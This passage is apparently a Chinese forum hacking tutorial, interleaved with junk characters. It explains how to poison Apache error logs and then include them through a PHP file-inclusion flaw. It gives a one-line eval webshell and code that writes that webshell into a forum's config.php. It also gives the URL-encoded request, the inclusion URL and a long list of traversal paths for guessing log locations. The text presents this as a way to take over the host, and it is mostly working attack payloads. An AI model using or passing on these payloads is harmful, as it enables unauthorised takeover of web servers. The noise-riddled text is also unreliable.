因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 & J3 Q, Y9 O5 W9 w& }! {
r6 l8 `6 F- }4 v比如还是这句一句话木马
3 d- X4 [/ ^8 G( C<?eval($_POST[cmd]);?>
1 M- ~. b+ m! O. C' J
9 F# m8 {2 b+ m2 L, C到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
3 j7 B( K( u$ p# P; h0 q6 b/ @fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
/ d$ ?+ n [3 y. y4 i5 t- L# @# H6 v& ~5 P1 u! N8 O8 C
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); : R) b! I9 K: u) O# v% D9 k T* y
fclose($fp);?> //在config.php里写入一句木马语句
( O2 Y/ G' m& U* s3 e `2 F/ T% @1 G/ L) v
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 ! M! p5 W) ^% ~9 [( ^
转换为
9 V* r' F1 ?3 T# l1 D%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F % h" Q3 P( d; ]& R( d* k
config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 4 D9 w- m% h* q' a. U F& j
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
9 H: s3 w% N% @fclose%28%24fp%29%3B%3F%3E ! k% y* D$ _6 k/ ?
我们提交 1 Z% C$ I. C6 |$ f( ~+ I' y
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww - D+ c3 S3 I M) e) h2 B
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp : E4 a8 U( _. V
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B # f$ s# S- o* b9 N
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 0 ?% M0 j( O4 y ~
. m/ p5 `& H1 h9 P' ^8 X# Y) G这样就错误日志里就记录下了这行写入webshell的代码。
! y5 s9 \0 [# W! X+ v我们再来包含日志,提交 9 ^4 Z% e8 q0 @: s* @" j* }% C
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
% C; i! p9 L5 r( l
% M5 c: I4 m- z. @ p' Z这样webshell就写入成功了,config.php里就写入一句木马语句 ) X |' H% _$ ?( F
OK. - X' w3 v" G9 a6 @0 \
http://www.xxx.com/forum/config.php这个就成了我们的webshell : l$ X T2 @7 _7 L, A
直接用lanker的客户端一连,主机就是你的了。 $ X" }/ A: D# a, x0 I1 T5 v
; K$ U$ O* T0 wPS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 # ]" I. U* L; ?4 }' A
3 c& D( F9 U8 x5 s4 y其他的日志路径,你可以去猜,也可以参照这里。
+ i% P( M+ d# z1 P2 [../../../../../../../../../../var/log/httpd/access_log 0 l0 d$ d2 x. z$ S4 ~
../../../../../../../../../../var/log/httpd/error_log
, C- V4 P+ w2 S( Z7 U, r* o5 E' F../apache/logs/error.log
$ `7 f! ?- }, h8 M O' r../apache/logs/access.log f P( i' w0 E0 I2 a
../../apache/logs/error.log
& h( ]! y5 F# c9 i( ]../../apache/logs/access.log ( a: m6 n$ Y& F. i- `2 R
../../../apache/logs/error.log
( Y/ p9 `% d& `8 Z. ~* k../../../apache/logs/access.log ! I8 b5 v2 c) [% U& @
../../../../../../../../../../etc/httpd/logs/acces_log - H; ]" g) Q; A9 `, t9 j
../../../../../../../../../../etc/httpd/logs/acces.log
2 j! z7 B ^5 }; t. i3 \../../../../../../../../../../etc/httpd/logs/error_log
( ]9 O: j+ d1 {* ?: r, k2 b../../../../../../../../../../etc/httpd/logs/error.log % z1 t3 k1 v% Y' o! a& [
../../../../../../../../../../var/www/logs/access_log
6 B* w7 s4 \+ ~1 W../../../../../../../../../../var/www/logs/access.log
, P( ?; ^( P; C0 o* b% h1 b../../../../../../../../../../usr/local/apache/logs/access_log
: A4 N% K5 K G. [../../../../../../../../../../usr/local/apache/logs/access.log
9 _& I( F; b! V7 Y/ b2 R../../../../../../../../../../var/log/apache/access_log
# q( }, E) j4 w: @# O../../../../../../../../../../var/log/apache/access.log
% i2 f' F+ b/ f) ~( M3 D../../../../../../../../../../var/log/access_log + r( }" h" {# e5 c0 F( i
../../../../../../../../../../var/www/logs/error_log / g% l4 A& ~* v/ o
../../../../../../../../../../var/www/logs/error.log
. w( l" V! k. O6 R( g6 x../../../../../../../../../../usr/local/apache/logs/error_log . m. }' ?) f: v) ]4 u8 Q- v
../../../../../../../../../../usr/local/apache/logs/error.log
Q ]. |* ~ @" }$ f../../../../../../../../../../var/log/apache/error_log 3 N9 ~; `+ P( R8 n
../../../../../../../../../../var/log/apache/error.log ; C$ j' X; v: J; W4 F
../../../../../../../../../../var/log/access_log % X3 \+ R1 N6 U3 R1 H. A; Y
../../../../../../../../../../var/log/error_log 8 `' d( A ~1 c$ M! {
/var/log/httpd/access_log
+ V ^& c) I/ ~ f3 [/var/log/httpd/error_log / I7 R9 y+ D" o
../apache/logs/error.log
+ x; O: H9 l( i../apache/logs/access.log
2 {- F! H9 w# Q../../apache/logs/error.log
8 F _8 [. a( D8 c+ N) ?. n../../apache/logs/access.log
$ g# V8 [$ U3 a3 T% u../../../apache/logs/error.log 9 B5 @7 ?* l; ] J+ Q0 X
../../../apache/logs/access.log 4 ~, Q7 Y1 `' q8 H* I
/etc/httpd/logs/acces_log 0 ?. R* p$ ~. B, {% C! y
/etc/httpd/logs/acces.log
) \6 H2 i C( A/ z: e5 D! }/etc/httpd/logs/error_log
' D. v& \, ~ R# \7 L& d/etc/httpd/logs/error.log " T' }6 U/ V6 h3 c; D* n" C5 F
/var/www/logs/access_log * }: u2 \) i) b3 I
/var/www/logs/access.log ' T( O) g K' K. e& S
/usr/local/apache/logs/access_log
- H( [, S6 n- T4 W6 m+ m7 M# Z1 n/usr/local/apache/logs/access.log
- _4 R! [# u- B/var/log/apache/access_log
6 `, k0 c8 k+ L1 X% p/var/log/apache/access.log
: O2 G& J2 B! T, _. G1 P/var/log/access_log
! L2 Z+ ~* D- O9 D- q4 r/var/www/logs/error_log " ^& ?$ a8 @7 X* L% u7 e2 X
/var/www/logs/error.log 9 d! m6 A- ?. C4 w& w) C, x$ y
/usr/local/apache/logs/error_log
2 U" L6 q% [8 n! t, _+ ~2 I( @0 J6 G3 Z8 _/usr/local/apache/logs/error.log
5 J6 o) D, |8 N$ T; w/var/log/apache/error_log
. p* L% Y* O& ?5 U. q$ \/var/log/apache/error.log
% c0 Y" g$ W) _4 R4 _/var/log/access_log ! t1 j8 p. E7 R- x* g# y
/var/log/error_log |